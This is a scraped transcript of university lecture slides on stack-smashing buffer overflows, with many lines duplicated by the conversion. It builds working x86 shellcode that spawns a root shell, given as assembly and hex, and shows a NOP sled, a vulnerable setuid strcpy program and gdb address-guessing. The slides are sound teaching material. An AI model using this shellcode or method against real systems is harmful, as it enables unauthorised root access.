CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote...

89
CS 201 Stack smashing

Transcript of CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote...

Page 1: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

CS 201

Stack smashing

Page 2: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 2 –

Stack smashing (buffer overflow)

One of the most prevalent remote security exploits One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided by vendors were for

buffer overflows 2004: All available exploits: 75% were buffer overflows Examples: Morris worm, Code Red worm, SQL Slammer,

Witty worm, Blaster worm

How does it work?How does it work?

How can it be prevented?How can it be prevented?

Page 3: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 3 –

Recall stack framevoid function(int a, int b){void function(int a, int b){

int i = 0; int i = 0;

printf( “hello” );printf( “hello” );

return;return;

} }

void main() { void main() {

function(1,2); // function(1,2); // What happens here?What happens here?

}}

Page 4: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 4 –

Stack FrameHigher memory address

Lower memory address

Fn. parameter = a

Return address

Old base pointer (Saved Frame Pointer)

Local variable = i

EBP

EBP + 8

addresses

Stack grows high to low

size of a word (e.g. 4 bytes)

Calling void function(int a, int b)

Fn. parameter = b

ESP

Page 5: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 5 –

Simple program

Return address

Old base pointer (Saved Frame Pointer)

int x

Buffer[4]..Buffer[7]

Stack grows high to low

size of a word (e.g. 4 bytes)

….void function(){ int x = 0; char buffer[8];

memcpy(buffer,“abcdefg”,8);

printf( “%s %d”, buffer, x );}

Output: ...

Buffer[0]..Buffer[3]

Page 6: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 6 –

Simple program

Return address

Old base pointer (Saved Frame Pointer)

int x 0x00000000

buffer[4..7] “efg”

Stack grows high to low

size of a word (e.g. 4 bytes)

….void function(){ int x = 0; char buffer[8];

memcpy(buffer,“abcdefg”,8);

printf( “%s %d”, buffer, x );}

Output: abcdefg 0

buffer[0..3] “abcd”

Page 7: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 7 –

Simple program 2

Return address

Old base pointer (Saved Frame Pointer)

int x

Buffer[4]..Buffer[7]

Stack grows high to low

size of a word (e.g. 4 bytes)

….void function(){ int x = 0; char buffer[8];

memcopy(buffer, “abcdefghijk”,12);

printf( “%s %d”, buffer, x );}

Output: ...

Buffer[0]..Buffer[3]

Page 8: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 8 –

Simple program 2

Return address

Old base pointer (Saved Frame Pointer)

int x 0x006b6a69

buffer[4..7] “efgh”

Stack grows high to low

size of a word (e.g. 4 bytes)

….void function(){ int x = 0; char buffer[8];

memcopy(buffer, “abcdefghijk”,12);

printf( “%s %d”, buffer, x );}

Output: abcdefghijk 7039593

buffer[0..3] “abcd”

Page 9: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 9 –

Buffer Overflow

b

Return address

Old base pointer (Saved Frame Pointer)

Buffer[4]..Buffer[7]

Stack grows high to low

size of a word (e.g. 4 bytes)

aThe idea of a buffer overflow…

Trick the program intooverwriting memory it shouldn’t…

Buffer[0]..Buffer[3]

Page 10: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 10 –

Buffer OverflowStack grows high to low

size of a word (e.g. 4 bytes)

We can mess up the program’s memory.

What can we do?Insert malicious code.

But…How to execute that code?

Must change instruction pointer (IP)….

a

b

Return address

Old base pointer (Saved Frame Pointer)

Buffer[4]..Buffer[7]

Buffer[0]..Buffer[3]

a

Page 11: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 11 –

Buffer OverflowStack grows high to low

size of a word (e.g. 4 bytes)

void function(int a, int b){

char buffer[8];

return;

}

Return statement: - Clean off the function’s stack frame - Jump to return address

Can use this to set the instructionpointer!

a

b

New Return addr

Old base pointer (Saved Frame Pointer)

Buffer[4]..Buffer[7]

Buffer[0]..Buffer[3]

a

Page 12: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 12 –

Buffer OverflowStack grows high to low

The anatomy of a buffer overflow1) Inject malicious code into buffer2) Set the IP to execute it byoverwriting return address

a

New Return addr

Malicious Code

Malicious Code

Malicious Code

Page 13: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 13 –

New diagram

Stack grows high to low

Buffer[0..256] [stuff]Returnaddr

[stuff]

Buffer Overflow (Injected Data)

Page 14: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 14 –

Buffer Overflow (Idealized)

Stack grows high to low

Buffer[0..256] [stuff]

Ideally, this is what a buffer overflow attack looks like…

Returnaddr

[stuff]

Shell CodeNewAddr

Page 15: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 15 –

Buffer Overflow (reality)Stack grows high to low

Buffer[0..256] [stuff]

Problem #1: Where is the return address located? Have only an approximate idea relative to buffer.

Returnaddr

[stuff]

Shell CodeNewAddr

Page 16: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 16 –

Buffer Overflow (Addr Spam)Stack grows high to low

Buffer[0..256] [stuff]

Solution – Spam the new address we want to overwrite the return address.

So it will overwrite the return address

Returnaddr

[stuff]

Shell CodeNewAddr

NewAddr

NewAddr

NewAddr

Page 17: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 17 –

Buffer Overflow (Reality)Stack grows high to low

Buffer[0..256] [stuff]

Problem #2: We don’t know where the shell code starts.

(Addresses are absolute, not relative)

Returnaddr

[stuff]

Shell CodeNewAddr

NewAddr

NewAddr

NewAddr

Page 18: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 18 –

Quick Peek at the shellcode

xor eax, eax xor eax, eax

mov al, 70 mov al, 70

xor ebx, ebx xor ebx, ebx

xor ecx, ecx xor ecx, ecx

int 0x80 int 0x80

jmp short two jmp short two

one:one:

pop ebx pop ebx

xor eax, eax xor eax, eax

mov [ebx+7], al mov [ebx+7], al

mov [ebx+8], ebx mov [ebx+8], ebx

mov [ebx+12], eax mov [ebx+12], eax

mov al, 11 mov al, 11

lea ecx, [ebx+8] lea ecx, [ebx+8]

lea edx, [ebx+12] lea edx, [ebx+12]

int 0x80 int 0x80

two:two:

call one call one

db '/bin/shXAAAABBBB' db '/bin/shXAAAABBBB'

Shell Code

This is real shellcode that works, (more detail later)

Where will this code end up in memory? How should we set the instruction pointer?

IP?

IP?

IP?

IP?

IP?

Page 19: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 19 –

Quick Peek at the shellcode

xor eax, eax xor eax, eax

mov al, 70 mov al, 70

xor ebx, ebx xor ebx, ebx

xor ecx, ecx xor ecx, ecx

int 0x80 int 0x80

jmp short two jmp short two

one:one:

pop ebx pop ebx

xor eax, eax xor eax, eax

mov [ebx+7], al mov [ebx+7], al

mov [ebx+8], ebx mov [ebx+8], ebx

mov [ebx+12], eax mov [ebx+12], eax

mov al, 11 mov al, 11

lea ecx, [ebx+8] lea ecx, [ebx+8]

lea edx, [ebx+12] lea edx, [ebx+12]

int 0x80 int 0x80

two:two:

call one call one

db '/bin/shXAAAABBBB' db '/bin/shXAAAABBBB'

Shell Code

What happens with a mis-set instruction pointer?

Well, the shellcode doesn’t work…

IP?

IP?

Page 20: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 20 –

The NOP Sled

xor eax, eax xor eax, eax

mov al, 70 mov al, 70

xor ebx, ebx xor ebx, ebx

xor ecx, ecx xor ecx, ecx

int 0x80 int 0x80

jmp short two jmp short two

one:one:

pop ebx pop ebx

xor eax, eax xor eax, eax

mov [ebx+7], al mov [ebx+7], al

mov [ebx+8], ebx mov [ebx+8], ebx

mov [ebx+12], eax mov [ebx+12], eax

mov al, 11 mov al, 11

lea ecx, [ebx+8] lea ecx, [ebx+8]

lea edx, [ebx+12] lea edx, [ebx+12]

int 0x80 int 0x80

two:two:

call one call one

db '/bin/shXAAAABBBB' db '/bin/shXAAAABBBB'

Shell Code

New idea – NOP Sled

NOP = Assembly instruction (No Operation)

What a NOP instruction does:Advance instruction pointer by one, and do nothing else.

So, if we create a lot of themand target a region that we know precedes shell code….

IP?

IP?

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

NOPNOP

Page 21: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 21 –

Buffer Overflow (Reality)Stack grows high to low

Buffer[0..256] [stuff]

The anatomy of a real buffer overflow attack –

Now with NOP Sled!

Returnaddr

[stuff]

Shell CodeNewAddr

NewAddr

NewAddr

NewAddr

NOP Sled

Page 22: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 22 –

Stepping back..We have a means for executing our own codeWe have a means for executing our own code

What do we do now?What do we do now?

Motivation for our buffer overflow:Motivation for our buffer overflow: We’re bad We have a unix account We want super-user access

So, we find a setuid program:So, we find a setuid program: Trick it into giving us a root shell Code we inject will spawn us an interactive shell

Page 23: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 23 –

MotivationStep 1: Locate a SETUID program with a stack buffer Step 1: Locate a SETUID program with a stack buffer that’s vulnerable to overflow.that’s vulnerable to overflow.

(ie. Search for things that use strcpy ;)(ie. Search for things that use strcpy ;)

Page 24: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 24 –

Sample Victim Program

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

return 0;return 0;

}}

strcpy expects a null-terminated stringstrcpy expects a null-terminated string

Roughly 500 bytes of memory we can fill in with our shell codeRoughly 500 bytes of memory we can fill in with our shell code

Page 25: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 25 –

Writing shellcode

Let’s discuss how to write some x86 shellcodeLet’s discuss how to write some x86 shellcode

Additional instruction to know…Additional instruction to know…

int <value>

interupt – hardware signal to operating system kernel, with flag <value>

int 0x80 means “System call interrupt”eax – System call number (eg. 1-exit, 2-fork, 3-read, 4-write)

ebx – argument #1

ecx – argument #2

edx – argument #3

Page 26: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 26 –

Goals of Shellcode

Goal: Spawn a root shellGoal: Spawn a root shell

/bin/sh

It needs to:It needs to:

setreuid( 0, 0 ) // real UID, effective UID

execve( “/bin/sh”, *args[], *env[] );

For simplicity, For simplicity,

args points to [“/bin/sh”, NULL]

env points to NULL, which is an empty array []

Page 27: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 27 –

Shellcode Attempt #1

11stst part: part:section .data section .data ; section declaration; section declaration

filepath db "/bin/shXAAAABBBB“filepath db "/bin/shXAAAABBBB“ ; the string; the string

section .text section .text ; section declaration; section declaration

global _start global _start ; Default entry point for ELF linking; Default entry point for ELF linking

_start:_start:

; setreuid(uid_t ruid, uid_t euid); setreuid(uid_t ruid, uid_t euid)

mov eax, 70 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70; put 70 into eax, since setreuid is syscall #70

mov ebx, 0 mov ebx, 0 ; put 0 into ebx, to set real uid to root; put 0 into ebx, to set real uid to root

mov ecx, 0 mov ecx, 0 ; put 0 into ecx, to set effective uid to root; put 0 into ecx, to set effective uid to root

int 0x80 int 0x80 ; Call the kernel to make the system call happen; Call the kernel to make the system call happen

Page 28: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 28 –

Shellcode Attempt #122ndnd part: part:// filepath db "/bin/shXAAAABBBB" ; the string// filepath db "/bin/shXAAAABBBB" ; the string

; execve(const char *filename, char *const argv [], char *const envp[]); execve(const char *filename, char *const argv [], char *const envp[])

mov eax, 0 ; put 0 into eaxmov eax, 0 ; put 0 into eax

mov ebx, filepath ; put the address of the string into ebxmov ebx, filepath ; put the address of the string into ebx

mov [ebx+7], al ; put a NULL where the X is in the stringmov [ebx+7], al ; put a NULL where the X is in the string

; ( 7 bytes offset from the beginning); ( 7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where themov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset); AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where themov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the

; BBBB is in the string ( 12 bytes offset); BBBB is in the string ( 12 bytes offset)

mov eax, 11 ; Now put 11 into eax, since execve is syscall #11mov eax, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in thelea ecx, [ebx+8] ; Load the address of where the AAAA was in the

; string into ecx; string into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB is in thelea edx, [ebx+12] ; Load the address of where the BBBB is in the

; string into edx; string into edx

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

Page 29: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 29 –

Shellcode problem #1

Uses pointers/addresses that are unavailable during exploitUses pointers/addresses that are unavailable during exploit

filepath db "/bin/shXAAAABBBB“filepath db "/bin/shXAAAABBBB“

mov ebx, filepath ;mov ebx, filepath ; put string address into ebxput string address into ebx

We don’t know where this code is going to be relocated. Can’t use a pointer in our buffer overflow!

Uses two segments – a data segment to store “/bin/sh”Uses two segments – a data segment to store “/bin/sh” Will only be injecting onto the stack

Page 30: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 30 –

Shellcode Trick #1

Get absolute addresses at run-timeGet absolute addresses at run-time

Observation:Observation:

1) “call” instruction pushes the current instruction pointer onto stack.1) “call” instruction pushes the current instruction pointer onto stack.

2) “call” and “jmp” instructions can take arguments relative to the current 2) “call” and “jmp” instructions can take arguments relative to the current instruction pointerinstruction pointer

We can use this to get address where our data is!We can use this to get address where our data is!

Page 31: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 31 –

Shellcode Trick #1

Need %ebx to point to stringNeed %ebx to point to string

Outline of trick:Outline of trick:

jmp twojmp two

one:one:

pop ebxpop ebx

[program code goes here][program code goes here]

two:two:

call onecall one

db ‘this is a string’db ‘this is a string’

Page 32: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 32 –

Shellcode Attempt #2

11stst part: part:; setreuid(uid_t ruid, uid_t euid); setreuid(uid_t ruid, uid_t euid)

mov eax, 70 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70; put 70 into eax, since setreuid is syscall #70

mov ebx, 0 mov ebx, 0 ; put 0 into ebx, to set real uid to root; put 0 into ebx, to set real uid to root

mov ecx, 0 mov ecx, 0 ; put 0 into ecx, to set effective uid to root; put 0 into ecx, to set effective uid to root

int 0x80 int 0x80 ; Call the kernel to make the system call happen; Call the kernel to make the system call happen

jmp short two jmp short two ; Jump down to the bottom for the call trick; Jump down to the bottom for the call trick

one:one:

pop ebx pop ebx ; pop the "return address" from the stack; pop the "return address" from the stack

; to put the address of the string into ebx; to put the address of the string into ebx

[ 2[ 2ndnd part here] part here]

two:two:

call one call one ; Use a call to get back to the top and get the; Use a call to get back to the top and get the

db '/bin/shXAAAABBBB' db '/bin/shXAAAABBBB' ; address of this string; address of this string

Page 33: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 33 –

Shellcode Attempt #2

2nd part:2nd part:// the pointer to “/bin/shXAAAABBBB” already in %ebx// the pointer to “/bin/shXAAAABBBB” already in %ebx

; execve(const char *filename, char *const argv [], char *const envp[]); execve(const char *filename, char *const argv [], char *const envp[])

mov eax, 0 ; put 0 into eaxmov eax, 0 ; put 0 into eax

mov [ebx+7], al ; put the 0 from eax where the X is in the stringmov [ebx+7], al ; put the 0 from eax where the X is in the string

; ( 7 bytes offset from the beginning); ( 7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where themov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset); AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where themov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the

; BBBB is in the string ( 12 bytes offset); BBBB is in the string ( 12 bytes offset)

mov eax, 11 ; Now put 11 into eax, since execve is syscall #11mov eax, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in the stringlea ecx, [ebx+8] ; Load the address of where the AAAA was in the string

; into ecx; into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB was in the stringlea edx, [ebx+12] ; Load the address of where the BBBB was in the string

; into edx; into edx

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

Page 34: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 34 –

Shellcode Problem #2

Looks like we have a working shellcode now!Looks like we have a working shellcode now!

But… remember how we’re injecting it?But… remember how we’re injecting it?

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

NULLNULL terminated string.terminated string.

Let’s look at the assembled shell code.Let’s look at the assembled shell code.

Page 35: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 35 –

Shellcode Problem #2

La Voila! Shellcode! La Voila! Shellcode!

b846 0000 0066 bb00 0000 0066 b900 0000b846 0000 0066 bb00 0000 0066 b900 0000

00cd 80eb 2866 5b66 b800 0000 0067 884300cd 80eb 2866 5b66 b800 0000 0067 8843

0766 6789 5b08 6667 8943 0c66 b80b 00000766 6789 5b08 6667 8943 0c66 b80b 0000

0066 678d 4b08 6667 8d53 0ccd 80e8 d5ff0066 678d 4b08 6667 8d53 0ccd 80e8 d5ff

2f62 696e 2f73 6858 4141 4141 4242 42422f62 696e 2f73 6858 4141 4141 4242 4242

But all the nulls! But all the nulls!

If injected bytes include any NULL bytes, it will “terminate” exploit that uses strcpy

Where do all these nulls come from?Where do all these nulls come from?

Page 36: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 36 –

Shellcode Trick #2a

Loading up all the zeros in the registers for various reasons…Loading up all the zeros in the registers for various reasons…

mov eax, 0 ->mov eax, 0 ->

Causes 32-bits of 0’s to be written into our shellcode…Causes 32-bits of 0’s to be written into our shellcode…

Page 37: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 37 –

Shellcode Trick #2a

Idea! XOR of anything with itself gives us zeroIdea! XOR of anything with itself gives us zero

mov ebx, 0 -> xor ebx, ebxmov ebx, 0 -> xor ebx, ebx

mov ecx, 0 -> xor ecx, ecxmov ecx, 0 -> xor ecx, ecx

mov eax, 0 -> xor eax, eaxmov eax, 0 -> xor eax, eax

12 nulls removed!12 nulls removed!

As a nice side-benefit, it’s 9 bytes shorter too!As a nice side-benefit, it’s 9 bytes shorter too!

But still, some remaining nulls…But still, some remaining nulls…

Page 38: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 38 –

Shellcode Trick #2b

Where do the other nulls come from?Where do the other nulls come from?

Must load eax registers with the syscall numbers (setreuid = 70, execve = Must load eax registers with the syscall numbers (setreuid = 70, execve = 11)11)

mov eax, 70 ~= mov eax, 0x00000046mov eax, 70 ~= mov eax, 0x00000046

Idea: Set eax to zero with the last trick, and then overwrite the low-order byteIdea: Set eax to zero with the last trick, and then overwrite the low-order byte

xor eax, eaxxor eax, eax

mov al, 70mov al, 70

Page 39: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 39 –

Shellcode attempt #3

11stst part: part:; setreuid(uid_t ruid, uid_t euid); setreuid(uid_t ruid, uid_t euid)

xor eax, eax ; first eax must be 0 for the next instructionxor eax, eax ; first eax must be 0 for the next instruction

mov al, 70 ; put 70 into eax, since setreuid is syscall #70mov al, 70 ; put 70 into eax, since setreuid is syscall #70

xor ebx, ebx ; put 0 into ebx, to set real uid to rootxor ebx, ebx ; put 0 into ebx, to set real uid to root

xor ecx, ecx ; put 0 into ecx, to set effective uid to rootxor ecx, ecx ; put 0 into ecx, to set effective uid to root

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

jmp short two ; Jump down to the bottom for the call trickjmp short two ; Jump down to the bottom for the call trick

one:one:

pop ebx ; pop the "return address" from the stackpop ebx ; pop the "return address" from the stack

; to put the address of the string into ebx; to put the address of the string into ebx

[2[2ndnd part here] part here]

two:two:

call one ; Use a call to get back to the top and get thecall one ; Use a call to get back to the top and get the

db '/bin/shXAAAABBBB' ; address of this stringdb '/bin/shXAAAABBBB' ; address of this string

Page 40: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 40 –

Shellcode attempt #3

22ndnd part: part:; execve(const char *filename, char *const argv [], char *const envp[]); execve(const char *filename, char *const argv [], char *const envp[])

xor eax, eax ; put 0 into eaxxor eax, eax ; put 0 into eax

mov [ebx+7], al ; put the 0 from eax where the X is in the stringmov [ebx+7], al ; put the 0 from eax where the X is in the string

; ( 7 bytes offset from the beginning); ( 7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where themov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset); AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where themov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the

; BBBB is in the string ( 12 bytes offset); BBBB is in the string ( 12 bytes offset)

mov al, 11 ; Now put 11 into eax, since execve is syscall #11mov al, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in the stringlea ecx, [ebx+8] ; Load the address of where the AAAA was in the string

; into ecx; into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB was in the stringlea edx, [ebx+12] ; Load the address of where the BBBB was in the string

; into edx; into edx

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

Page 41: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 41 –

Other things we could do..

More tricks to shorten assembly:More tricks to shorten assembly:

Push “/bin/sh” onto the stack as immediate values, instead of using the call Push “/bin/sh” onto the stack as immediate values, instead of using the call trick.trick.

Shave off bytes, because not all instructions are the same size. Eg.Shave off bytes, because not all instructions are the same size. Eg.

xor eax, eaxxor eax, eax ->-> push byte 70push byte 70

mov al, 70mov al, 70 ->-> pop eaxpop eax

4 bytes4 bytes 3 bytes3 bytes

Page 42: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 42 –

Final Shellcode

Assembled:Assembled:

31c0 b046 31db 31c9 cd80 eb16 5b31 c08831c0 b046 31db 31c9 cd80 eb16 5b31 c088

4307 895b 0889 430c b00b 8d4b 088d 530c4307 895b 0889 430c b00b 8d4b 088d 530c

cd80 e8e5 ffff ff2f 6269 6e2f 7368 cd80 e8e5 ffff ff2f 6269 6e2f 7368 58415841

4141 4142 4242 424141 4142 4242 42

55 bytes!55 bytes!

Can be shortened further…Can be shortened further…

Page 43: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 43 –

Armed with shellcode now

Now that we have the shellcode, let’s revisit the original problem:Now that we have the shellcode, let’s revisit the original problem:

Stack grows high to low

Buffer[0..256] [stuff]

We have all the components.. Except…

How to set the new instruction pointer to poke at our NOP sled?

Returnaddr

[stuff]

Shell CodeNewAddr

NewAddr

NewAddr

NewAddr

NOP Sled

Page 44: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 44 –

Insertion address

How to find the insertion address?How to find the insertion address?

Well.. we guess.Well.. we guess.

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

return 0;return 0;

}}

Page 45: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 45 –

Insertion address 1

Guessing technique #1: GDB to find the stack pointer!Guessing technique #1: GDB to find the stack pointer!

$ gdb sample$ gdb sample

(gdb) break main(gdb) break main

Breakpoint 1 at 0x8048365Breakpoint 1 at 0x8048365

(gdb) run(gdb) run

Starting program: sampleStarting program: sample

Breakpoint 1, 0x08048365 in main ()Breakpoint 1, 0x08048365 in main ()

(gdb) p $esp(gdb) p $esp

$1 = (void *) 0xbffff220$1 = (void *) 0xbffff220

buffer probably near the stack top at this pointbuffer probably near the stack top at this point

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

return 0;return 0;

}}

Page 46: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 46 –

Insertion address 2

Guessing technique #2: If compiled with debug mode can pull off the addressGuessing technique #2: If compiled with debug mode can pull off the address

$ gdb sample$ gdb sample

(gdb) break main(gdb) break main

Breakpoint 1 at 0x804836fBreakpoint 1 at 0x804836f

(gdb) run(gdb) run

Starting program: sampleStarting program: sample

Breakpoint 1, main (argc=0x1 <Address 0x1 out of bounds>, Breakpoint 1, main (argc=0x1 <Address 0x1 out of bounds>, argv=0xbffffa84)at sample.c:5argv=0xbffffa84)at sample.c:5

5 strcpy( buffer, argv[1] );5 strcpy( buffer, argv[1] );

(gdb) p &buffer(gdb) p &buffer

$1 = (char *(*)[500]) 0xbffff220$1 = (char *(*)[500]) 0xbffff220

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

return 0;return 0;

}}

Page 47: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 47 –

Insertion address 3

Guessing technique #3: Add some debug statements, hope that doesn’t Guessing technique #3: Add some debug statements, hope that doesn’t change the address muchchange the address much

$ ./sample$ ./sample

0xbffff2200xbffff220

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

printf( “%d\n”, &buffer );printf( “%d\n”, &buffer );

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

return 0;return 0;

}}

Page 48: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 48 –

What’s the matter with this?

List three problems with the following codeList three problems with the following code

char *getline(){

char buf[8];char *result;gets(buf);result = malloc(strlen(buf));strcpy(result, buf);return(result);

}

Page 49: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

Counter-measures

Page 50: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 50 –

Lessons from Multics

Precursor to UNIX focused on securityPrecursor to UNIX focused on security

Included features to make buffer overflow attacks impracticalIncluded features to make buffer overflow attacks impractical Programming language PL/I

